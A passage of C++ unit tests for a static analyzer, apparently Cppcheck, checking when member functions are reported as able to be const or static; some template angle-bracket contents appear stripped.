const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n 